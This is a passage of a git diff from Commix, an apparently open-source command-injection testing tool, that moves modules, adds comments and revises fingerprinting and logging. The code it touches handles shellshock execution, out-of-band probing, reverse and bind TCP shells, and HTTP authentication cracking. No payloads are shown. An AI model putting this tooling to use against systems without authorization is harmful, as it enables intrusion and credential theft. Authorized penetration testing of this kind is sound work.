src.utils import logs from src.utils import settings from src.utils import session_handler from src.core.requests import requests from src.core.requests import headers as log_http_headers -from src.core.injections.controller import checks -from src.core.injections.controller import handler -from src.core.injections.controller import controller +from src.core.controller import checks +from src.core.controller import handler +from src.core.controller import controller default_user_agent = menu.options.agent default_cookie = "" @@ -95,7 +95,7 @@ def _send_header_payload(url, check_header, payload): Probe every header and CVE through the out-of-band channel, then wait once for the whole sweep. """ def _oob_probe(url, testable_headers): - from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + from src.core.techniques.oob import oob_payloads as oob_payloads channel = checks.init_oob_channel() if channel is None: @@ -131,7 +131,7 @@ def _oob_probe(url, testable_headers): Run a command through the out-of-band channel and read its output back. """ def _oob_cmd_exec(url, cmd, cve, check_header): - from src.core.injections.blind.techniques.oob import oob_payloads as oob_payloads + from src.core.techniques.oob import oob_payloads as oob_payloads channel = settings.OOB_CHANNEL if channel is None: @@ -156,6 +156,7 @@ def _oob_cmd_exec(url, cmd, cve, check_header): Build the shared execute_cmd(cmd) -> output callback, logging execution only when asked to. """ def _command_executor(url, cve, check_header, filename, log_execution=False): + # Run one command through the shellshock injection point. def execute_cmd(cmd): shell = cmd_exec(url, cmd, cve, check_header, filename) if log_execution and shell: @@ -370,4 +371,4 @@ def check_for_shell(url, cmd, cve, check_header, filename): return shell -# eof \ No newline at end of file +# eof diff --git a/src/core/oob/__init__.py b/src/core/oob/__init__.py index 2a4000d17a..7cd55728d8 100644 --- a/src/core/oob/__init__.py +++ b/src/core/oob/__init__.py @@ -13,3 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ +# eof diff --git a/src/core/oob/crypto.py b/src/core/oob/crypto.py index 0a1f74247f..212470ecd0 100644 --- a/src/core/oob/crypto.py +++ b/src/core/oob/crypto.py @@ -87,6 +87,7 @@ def _expand_key(key): """ def _encrypt_block(block, words): state = [list(block[i::4]) for i in range(4)] + # Mix the round key into the state, one column at a time. def add_round_key(rnd): for c in range(4): for r in range(4): diff --git a/src/core/oob/interactsh.py b/src/core/oob/interactsh.py index 92f779fbed..92566c75ff 100644 --- a/src/core/oob/interactsh.py +++ b/src/core/oob/interactsh.py @@ -30,6 +30,7 @@ class Interactsh(OOBProvider): name = settings.OOB_PROVIDER_INTERACTSH + # A session with an interactsh server, keyed to the address it was opened against. def __init__(self): OOBProvider.__init__(self) self.server = settings.OOB_SERVER or ("https://" + settings.OOB_INTERACTSH_DOMAIN) diff --git a/src/core/oob/provider.py b/src/core/oob/provider.py index 68373c58e4..a5a556ec43 100644 --- a/src/core/oob/provider.py +++ b/src/core/oob/provider.py @@ -46,6 +46,7 @@ def tls_error(err): """ class Interaction(object): + # One interaction the out-of-band server saw. def __init__(self, protocol, identifier, raw_request): self.protocol = protocol self.identifier = identifier @@ -54,6 +55,7 @@ def __init__(self, protocol, identifier, raw_request): class OOBProvider(object): name = "" + # A session with an out-of-band server, before it has been registered. def __init__(self): self.domain = "" self.scheme = "https" @@ -162,18 +164,23 @@ def _poll_loop(self): def server_notice(self): return None + # Claim a hostname from the server, which the payloads will make the target reach. def _register(self): raise NotImplementedError + # Give the hostname back, where the server wants to know it is finished with. def _deregister(self): pass + # Ask the server what has reached it since last time. def _fetch(self): raise NotImplementedError + # The hostname a payload should reach, for this one probe. def _hostname(self, token): raise NotImplementedError + # Which probe an interaction belongs to. def _token_of(self, interaction): raise NotImplementedError diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/parse/__init__.py similarity index 98% rename from src/core/injections/blind/techniques/__init__.py rename to src/core/parse/__init__.py index de196a7f70..7cd55728d8 100644 --- a/src/core/injections/blind/techniques/__init__.py +++ b/src/core/parse/__init__.py @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/utils/menu.py b/src/core/parse/cmdline.py similarity index 98% rename from src/utils/menu.py rename to src/core/parse/cmdline.py index 4d54166823..0e5db41ba3 100755 --- a/src/utils/menu.py +++ b/src/core/parse/cmdline.py @@ -823,7 +823,7 @@ def _(self, *args): COMMON_OPTIONS = ( (("?",), "show this help"), (("back",), "return to the previous menu"), - (("quit", "exit"), "exit Commix (or press <Ctrl-C>)"), + (("quit", "exit"), "exit Commix (<Ctrl-C> asks what to do instead)"), ) OS_SHELL_OPTIONS = COMMON_OPTIONS + ( @@ -913,6 +913,7 @@ def print_options_table(title, rows): current_width = max(len("Current Setting"), max(len(current) for _, current, _, _ in rows)) required_width = len("Required") + # One row of the options table, laid out under its headings. def render_row(name, current, required, description): return ( " " @@ -935,6 +936,7 @@ def render_row(name, current, required, description): settings.print_data_to_stdout(message.rstrip() + "\n") +# The smartphones on offer, numbered for the answer that picks one. def _print_mobile_user_agents(devices, default_index): message = "" for index, (device, _) in enumerate(devices): @@ -952,18 +954,22 @@ def _print_mobile_user_agents(devices, default_index): settings.print_data_to_stdout(message.rstrip()) +# The options the 'os_shell' mode offers. def os_shell_options(): _print_options("os_shell", OS_SHELL_OPTIONS) +# The options the 'reverse_tcp' mode offers. def reverse_tcp_options(): _print_options("reverse_tcp", REVERSE_TCP_OPTIONS) +# The options the 'bind_tcp' mode offers. def bind_tcp_options(): _print_options("bind_tcp", BIND_TCP_OPTIONS) +# The smartphones on offer, for the User-Agent to imitate one. def mobile_user_agents(devices, default_index): _print_mobile_user_agents(devices, default_index) diff --git a/src/core/injections/controller/parser.py b/src/core/parse/request.py similarity index 98% rename from src/core/injections/controller/parser.py rename to src/core/parse/request.py index 6e97972c4e..91eb2ba690 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/parse/request.py @@ -18,10 +18,10 @@ import json import base64 import binascii -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.odict import OrderedDict -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.flatten_json.flatten_json import unflatten_list @@ -236,6 +236,7 @@ def _parse_request(request, request_file): """ _command_line_options = {} +# Keep the options the command line gave, so a parsed request cannot overrule them. def _keep_command_line_options(): if not _command_line_options: for option in ("host", "agent", "cookie", "referer", "auth_type", "auth_cred"): diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 64e1cad6b8..412e7f9711 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -20,13 +20,13 @@ except ImportError: # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. _THREADS_SUPPORTED = False -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.utils import session_handler from src.core.requests import headers from src.core.requests import redirection from src.utils import common -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.colorama import Style from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -152,6 +152,7 @@ def http_auth_cracker(url, realm, http_request_method): last_bucket = -1 found_pair = None + # Count one attempt off, and say how far the guessing has got. def report(username, password, succeeded): nonlocal completed, last_bucket completed += 1 @@ -218,4 +219,4 @@ def report(username, password, succeeded): settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) return False -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/cookies.py b/src/core/requests/cookies.py index 3ba2b7ed43..52f40517ee 100644 --- a/src/core/requests/cookies.py +++ b/src/core/requests/cookies.py @@ -16,7 +16,7 @@ import os import re import time -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import common from src.utils import settings diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1530bab5c9..109e4730b6 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -22,9 +22,9 @@ from socket import error as SocketError from src.thirdparty.six.moves import http_client as _http_client from src.utils import logs -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks from src.core.requests import proxy from src.core.requests import cookies from src.core.requests import chunked @@ -162,12 +162,14 @@ def check_http_traffic(request): _http_client.HTTPConnection._http_vsn_str = 'HTTP/1.0' class connection(http_client): + # Build the request, letting chunked bodies be framed by hand rather than by the client. def request(self, method, url, body=None, headers={}, **kwargs): # The body is framed as chunks already, so the client must not frame it a second time. if menu.options.chunked: kwargs["encode_chunked"] = False return http_client.request(self, method, url, body, headers, **kwargs) + # Write the request out, printing it first where the traffic is being shown. def send(self, req): # Decode request output safely, replacing non-UTF8 bytes instead of crashing. headers = req.decode(settings.DEFAULT_CODEC, errors="replace") @@ -213,6 +215,7 @@ def do_open(self, http_class, req, **http_conn_args): return keepalive.do_open(self, http_class, req, **http_conn_args) return super(connection_handler, self).do_open(http_class, req, **http_conn_args) + # Open the connection, and show the response where the traffic is being shown. def http_open(self, req): try: self.print_http_response() @@ -220,6 +223,7 @@ def http_open(self, req): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) + # Open the TLS connection, and show the response where the traffic is being shown. def https_open(self, req): try: self.print_http_response() @@ -482,7 +486,7 @@ def do_check(request): # Appends a fake HTTP header 'X-Forwarded-For' (and similar) if settings.TAMPER_SCRIPTS["xforwardedfor"]: - from src.core.tamper import xforwardedfor + from src.tamper import xforwardedfor xforwardedfor.tamper(request) # Check if defined any HTTP Authentication credentials. @@ -590,4 +594,4 @@ def do_check(request): except: pass -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a53548ba42..68bbb9650a 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -15,10 +15,10 @@ import re import json -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import cookies -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list from src.thirdparty.odict import OrderedDict @@ -96,6 +96,7 @@ def resolve_marker_component(default_value, marker_char): """ def shield_xml_leaves(text): shielded = [] + # Set a matched span aside behind a placeholder, so nothing rewrites it. def _shield(m): shielded.append(m.group(0)) return "<\x00SHIELD%d\x00>" % (len(shielded) - 1) @@ -107,6 +108,7 @@ def _shield(m): Reverse shield_xml_leaves() on a string or a list of strings. """ def restore_xml_shields(text_or_list, shielded): + # Put the set-aside spans back where their placeholders are. def _restore_one(s): for index, value in enumerate(shielded): s = s.replace("<\x00SHIELD%d\x00>" % index, value) @@ -897,4 +899,4 @@ def specify_host_parameter(host): def specify_custom_header_parameter(custom_header_value): return specify_header_injection_parameter(custom_header_value, settings.CUSTOM_HEADER_NAME) -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 9327ef1299..c70f0e5f4d 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -13,7 +13,7 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import requests from src.core.requests import redirection @@ -46,4 +46,4 @@ def do_check(): debug_msg = "Setting the HTTP proxy for all HTTP requests. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 21ee43c420..6347088f75 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -15,14 +15,16 @@ from src.utils import settings from src.utils import common -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib class Request(_urllib.request.Request): + # A request that keeps the method it was made with, whatever a redirect asks for. def __init__(self, *args, method=None, **kwargs): self._method = method _urllib.request.Request.__init__(self, *args, **kwargs) + # The method this request was made with. def get_method(self): return self._method or _urllib.request.Request.get_method(self) @@ -104,4 +106,4 @@ def do_check(url, redirect_url): return url -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/reproduce.py b/src/core/requests/reproduce.py index e6bcfb63e2..a532d45622 100644 --- a/src/core/requests/reproduce.py +++ b/src/core/requests/reproduce.py @@ -14,9 +14,9 @@ """ import re -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9f5caefdc8..ee7a781cd8 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -19,7 +19,7 @@ import difflib import statistics from socket import error as SocketError -from src.utils import menu +from src.core.parse import cmdline as menu from os.path import splitext from src.utils import settings from src.utils import session_handler @@ -34,7 +34,7 @@ from src.core.requests import redirection from src.core.requests import authentication from src.core.requests import stability -from src.core.injections.controller import checks +from src.core.controller import checks from src.thirdparty.six.moves import urllib as _urllib """ @@ -45,6 +45,7 @@ def is_url_content_stable(url, response=None, fetch_time=None, http_request_meth info_msg = "Checking if the target URL content is stable." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # One request for the stability check, built the way the run's own requests are. def _build_request(): method = http_request_method or settings.HTTPMETHOD.GET if settings.USER_DEFINED_POST_DATA: @@ -411,7 +412,7 @@ def request_failed(err_msg): if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): stability.disable_retries() - error_msg = "Can't establish SSL connection. " + error_msg = "Cannot establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) @@ -490,7 +491,7 @@ def request_failed(err_msg): elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] if not checks.ignored_http_error_code(status_code[0]) and int(status_code[0]) not in settings.WARNED_HTTP_ERROR_CODES: - warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) + warn_msg = "The web server responded with an HTTP error code '" + checks.http_error_code_label(status_code[0], err_msg) warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WARNED_HTTP_ERROR_CODES.add(int(status_code[0])) @@ -530,9 +531,12 @@ def request_failed(err_msg): else: if settings.VERBOSITY_LEVEL >= 1: - if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: - debug_msg = "Got " + str(err_msg) - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] + if status_code: + # The warning above already named the code; repeating it for every request that meets it does not. + if int(status_code[0]) not in settings.WARNED_HTTP_ERROR_CODES: + debug_msg = "Got " + str(err_msg) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) return False @@ -631,6 +635,7 @@ def encoded_for_url(value): """ def header_injection(url, payload, http_request_method, set_header): + # Send the payload in an HTTP header rather than in a parameter. def inject_header(url, payload, http_request_method): # Check if defined POST data if settings.USER_DEFINED_POST_DATA: @@ -674,6 +679,7 @@ def inject_header(url, payload, http_request_method): Check if target host is vulnerable. (Cookie-based injection) """ def cookie_injection(url, payload, http_request_method): + # Put the payload into the cookie, in place of the marker that says where it goes. def set_cookie(request, payload): if settings.INJECT_TAG in menu.options.cookie: encoded_payload = checks.encode_payload(payload) @@ -709,13 +715,8 @@ def custom_header_injection(url, payload, http_request_method): Detect the character encoding of the target web page. """ def encoding_detection(response): - charset_detected = False charset = None - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the character encoding declared by the web page." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - try: # Read once content_bytes = response.read() @@ -756,55 +757,41 @@ def encoding_detection(response): else: charset = None - # 3. If no charset yet, default to utf-8 + # 3. Nothing declared, so what the pages are read with stays what it already was. if not charset: - charset = 'utf-8' + return - charset_detected = True - settings.DEFAULT_PAGE_ENCODING = charset - - # 4. Logging - msg = "The web page declares the character encoding as '" - - if charset in settings.ENCODING_LIST: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = msg + charset + "'." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + # 4. Kept only where it can actually be decoded with, so a page is never read through an + # encoding the platform does not have. + if settings.known_encoding(charset) and settings.ascii_transparent_encoding(charset): + settings.DEFAULT_PAGE_ENCODING = charset else: - warn_msg = msg + charset + "', which is not recognized." + settings.DEFAULT_PAGE_ENCODING = settings.DEFAULT_CODEC + warn_msg = "The web page declares the character encoding as '" + charset + "', which is not recognized." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except Exception: pass - if not charset_detected and settings.VERBOSITY_LEVEL != 0: - warn_msg = "Failed to identify the web page charset." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Identify the target application's type based on the URL extension. """ def application_identification(url, response=None): - found_application_extension = False - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the type of target application based on the URL extension." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - if not settings.TARGET_APPLICATION and response is not None: - x_powered_by = response.info().get(settings.X_POWERED_BY, "") + x_powered_by = response.info().get(settings.X_POWERED_BY, "") if response is not None else "" + if not settings.TARGET_APPLICATION and x_powered_by: match = re.search(r"PHP|ASP\.NET|JSP", x_powered_by, re.IGNORECASE) if match: settings.TARGET_APPLICATION = match.group(0).upper() if settings.TARGET_APPLICATION: - found_application_extension = True - + # The application and the language an evaluated string is tried in are the same question, so + # they are answered once and said once, rather than naming the same language twice over. + checks.note_evaluated_language(settings.TARGET_APPLICATION, x_powered_by) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Target application identified as " + settings.TARGET_APPLICATION + "." + debug_msg = "The web application technology is '" + settings.TARGET_APPLICATION + "'." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) for unsupported in settings.UNSUPPORTED_TARGET_APPLICATION: @@ -813,10 +800,6 @@ def application_identification(url, response=None): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - if not found_application_extension and settings.VERBOSITY_LEVEL != 0: - warn_msg = "Failed to identify the target application's type from the URL." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Detect the underlying operating system of the target server based on server headers. """ @@ -824,14 +807,13 @@ def check_os(server_header): if menu.options.os: checks.user_defined_os() + named = "" for banner in settings.SERVER_OS_BANNERS: - match = re.search(banner.lower(), server_header.lower()) + match = re.search(banner, server_header, re.IGNORECASE) if match: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the operating system hosting the target server." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - checks.set_target_os(match.group(0)) + # What the banner spells out, rather than the family it puts the target in. + named = match.group(0) + checks.set_target_os(named) if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.shellshock: err_msg = "The shellshock module ('--shellshock') is not available for Windows targets." @@ -839,10 +821,10 @@ def check_os(server_header): raise SystemExit() break - if settings.VERBOSITY_LEVEL != 0: - if settings.IDENTIFIED_TARGET_OS: - debug_msg = "Underlying operating system identified as " + checks.target_os_label() + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + if named and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The web server operating system is '" + named + "'" + debug_msg += " (" + checks.target_os_label() + ")." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ @@ -852,58 +834,41 @@ def technology_identification(response): try: x_powered_by = response.info().get(settings.X_POWERED_BY, "").strip() - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the underlying technology or framework powering the target application." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - + # Not reported on its own: what it settles - the operating system, and the language an + # evaluated string is tried in - is each said where it is settled. if x_powered_by: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Target application technology detected as " + x_powered_by + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) check_os(x_powered_by) - elif settings.VERBOSITY_LEVEL != 0: - warn_msg = "Failed to identify the technology supporting the target application." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except Exception: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Failed to identify the technology supporting the target application." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + pass """ Identify the software running on the target web server. """ def server_identification(response): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Detecting the software running on the target web server." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - server_banner = response.info().get(settings.SERVER, "").strip() for banner in settings.SERVER_BANNERS: - match = re.search(banner.lower(), server_banner.lower()) + match = re.search(banner, server_banner, re.IGNORECASE) if match: settings.SERVER_BANNER = match.group(0) - # Set up default document root paths. This runs on the first connection, before the target's + # Which document root this server keeps. It runs on the first connection, before the target's # operating system has been worked out, so the banner itself has to answer for it - an Apache - # build reports "(Win32)" or "(Win64)" and would otherwise be handed a Linux path. + # build reports "(Win32)" or "(Win64)" and would otherwise be handed a Unix-like path. windows_banner = (settings.TARGET_OS == settings.OS.WINDOWS or - re.search(r"\(Win(32|64)\)", server_banner, re.IGNORECASE) is not None) - if "apache" in settings.SERVER_BANNER.lower(): - if windows_banner: - settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] - else: - settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace( - settings.DOC_ROOT_TARGET_MARK, settings.TARGET_URL) - elif "nginx" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[3] - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + re.search(r"\(Win(32|64|dows)\)?", server_banner, re.IGNORECASE) is not None) + platform = settings.OS.WINDOWS if windows_banner else settings.OS.UNIX + for server, roots in settings.SERVER_DOC_ROOTS.items(): + if server in settings.SERVER_BANNER.lower(): + # A server that runs on one platform only says which platform this is, whatever the + # banner left out - IIS names no "(Win64)" and is no less Windows for it. + settings.WEB_ROOT = roots.get(platform) or (list(roots.values())[0] if len(roots) == 1 else "") + break break if server_banner and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Target server software identified as " + server_banner + "." + debug_msg = "The web server is '" + server_banner + "'." settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) @@ -915,10 +880,15 @@ def os_identification(response): server_banner = response.info().get(settings.SERVER, "") check_os(server_banner) + """ + Nothing is asked here, and nothing is said yet. + + The banner is the weakest of the three things that can answer this: a heuristic payload that + executes settles it outright, and that runs in a moment. Asking first put the question before the + evidence - and then ignored the answer when the evidence contradicted it. + """ if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: - warn_msg = "Failed to identify the server's underlying operating system." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - checks.define_target_os() + settings.OS_IDENTIFICATION_PENDING = True """ @@ -941,6 +911,7 @@ def url_reload(url, delay_seconds): _injections_in_flight = 0 _transport_before_injection = None +# Send one payload, with the timeout widened to allow for the delay it asks for. def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): global _injections_in_flight, _transport_before_injection # A time-related payload asks the target to sleep, so the answer is meant to be late. Waiting less @@ -982,6 +953,7 @@ def injected_delay_allowance(): # The false-positive round adds a few seconds of its own on top of the calibrated delay. return checks.injected_delay(delay) + settings.TIME_DELAY_STEP + 10 +# Send the payload wherever the injection point is, and time the answer. def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes payload, prefix = parameters.prefixes(payload, prefix) @@ -1024,4 +996,4 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http return exec_time, vuln_parameter, payload, prefix, suffix -# eof \ No newline at end of file +# eof diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py index d32f542f20..7adad453fa 100644 --- a/src/core/requests/stability.py +++ b/src/core/requests/stability.py @@ -73,6 +73,7 @@ def adapt_delay(blocked): settings.ADAPTIVE_DELAY_STREAK = 0 settings.ADAPTIVE_DELAY -= 1 +# How long to wait before trying again, which a timed payload cannot afford at all. def retry_delay_seconds(): return 0 if settings.TIME_RELATED_ATTACK else settings.DELAY_RETRY @@ -85,9 +86,11 @@ def retry_delay_seconds(): """ _thread_state = threading.local() +# Count one request against this thread's own tally. def note_request_sent(): _thread_state.sent = getattr(_thread_state, "sent", 0) + 1 +# How many requests this thread has sent. def requests_sent(): return getattr(_thread_state, "sent", 0) @@ -142,3 +145,5 @@ def mark_url_valid(): settings.VALID_URL = True # An answered request is the evidence that the backing off can start being given back. adapt_delay(blocked=False) + +# eof diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index fd7e371dfb..cf6e33554c 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -15,7 +15,7 @@ import re from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.core.requests import proxy @@ -31,6 +31,7 @@ def tor_connection_error(): raise SystemExit() +# Check that the Tor network is reachable and that traffic is really going through it. def do_check(): info_msg = "Testing connection to the Tor network." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -63,4 +64,4 @@ def do_check(): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 27ef4687ca..f906f206ad 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -14,10 +14,10 @@ """ import os -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import common from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks from src.core.shells import modes from src.thirdparty.colorama import Fore, Back, Style, init @@ -205,7 +205,8 @@ def gen_python_meterpreter_bind(): usage_hint="Use 'set rhost <ip>' and 'set lport <port>' to configure the bind TCP connection.", ) +# The options this mode offers, printed when the user asks for them. def bind_tcp_options(separator, filename, url): return modes.shell_mode_options(BIND_TCP_MODE, separator, filename, url) -# eof \ No newline at end of file +# eof diff --git a/src/core/shells/modes.py b/src/core/shells/modes.py index 49dc041e7d..56a2a93afd 100644 --- a/src/core/shells/modes.py +++ b/src/core/shells/modes.py @@ -13,10 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import common from src.utils import settings -from src.core.injections.controller import checks +from src.core.controller import checks """ The shared "use -> set -> run" loop behind the 'reverse_tcp' and 'bind_tcp' modes. @@ -34,6 +34,7 @@ Everything the shared loop needs that differs between the two modes. """ class ShellMode(object): + # One shell mode, and the payload modules it can carry. def __init__(self, name, modules, help_menu, option_rows, required, required_hint, set_options, unsupported, build, usage_hint): self.name = name self.modules = modules @@ -47,9 +48,11 @@ def __init__(self, name, modules, help_menu, option_rows, required, required_hin self.usage_hint = usage_hint self.flag, self.other = MODE_FLAGS[name] + # The module's full name, as the mode refers to it. def qualified(self, module_path): return self.name + "/" + module_path + # Why a module cannot be used here, naming what this mode supports instead. def unsupported_msg(self): unsupported, supported = self.unsupported return "The '" + unsupported.upper() + "' option is not usable for '" + self.name + "' mode. Use the '" + supported.upper() + "' option." diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 16cc76f61f..4b6e9be212 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -18,10 +18,10 @@ import string import subprocess from src.utils import common -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.core.compat import xrange -from src.core.injections.controller import checks +from src.core.controller import checks from src.core.shells import modes from src.thirdparty.colorama import Fore, Back, Style, init @@ -37,6 +37,7 @@ def _needs_literal_encoding(): or settings.CUSTOM_HEADER_INJECTION ) +# The literal spelling where the carrier can hold it, and the encoded one where it cannot. def _lit(encoded, literal): return literal if _needs_literal_encoding() else encoded @@ -373,7 +374,8 @@ def gen_web_delivery_windows(): usage_hint="Use 'set lhost <ip>' and 'set lport <port>' to configure the reverse TCP connection.", ) +# The options this mode offers, printed when the user asks for them. def reverse_tcp_options(separator, filename, url): return modes.shell_mode_options(REVERSE_TCP_MODE, separator, filename, url) -# eof \ No newline at end of file +# eof diff --git a/src/core/shells/session_relay.py b/src/core/shells/session_relay.py index f43f2b862b..c192f34f5d 100644 --- a/src/core/shells/session_relay.py +++ b/src/core/shells/session_relay.py @@ -40,6 +40,7 @@ def run_payload_send(execute_cmd, cmd, result): def interactive_relay(sock, filename, url): remote_closed = threading.Event() + # Carry whatever the socket says back to the terminal, until it says nothing more. def _reader(): try: while True: @@ -61,7 +62,7 @@ def _reader(): try: line = common.safe_input("") except KeyboardInterrupt: - from src.core.injections.controller import shell_options + from src.core.controller import shell_options shell_options.back_or_quit_prompt("Session interrupted (Ctrl-C pressed). [(b)ack/(q)uit] ", filename, url) break except EOFError: diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py deleted file mode 100644 index de196a7f70..0000000000 --- 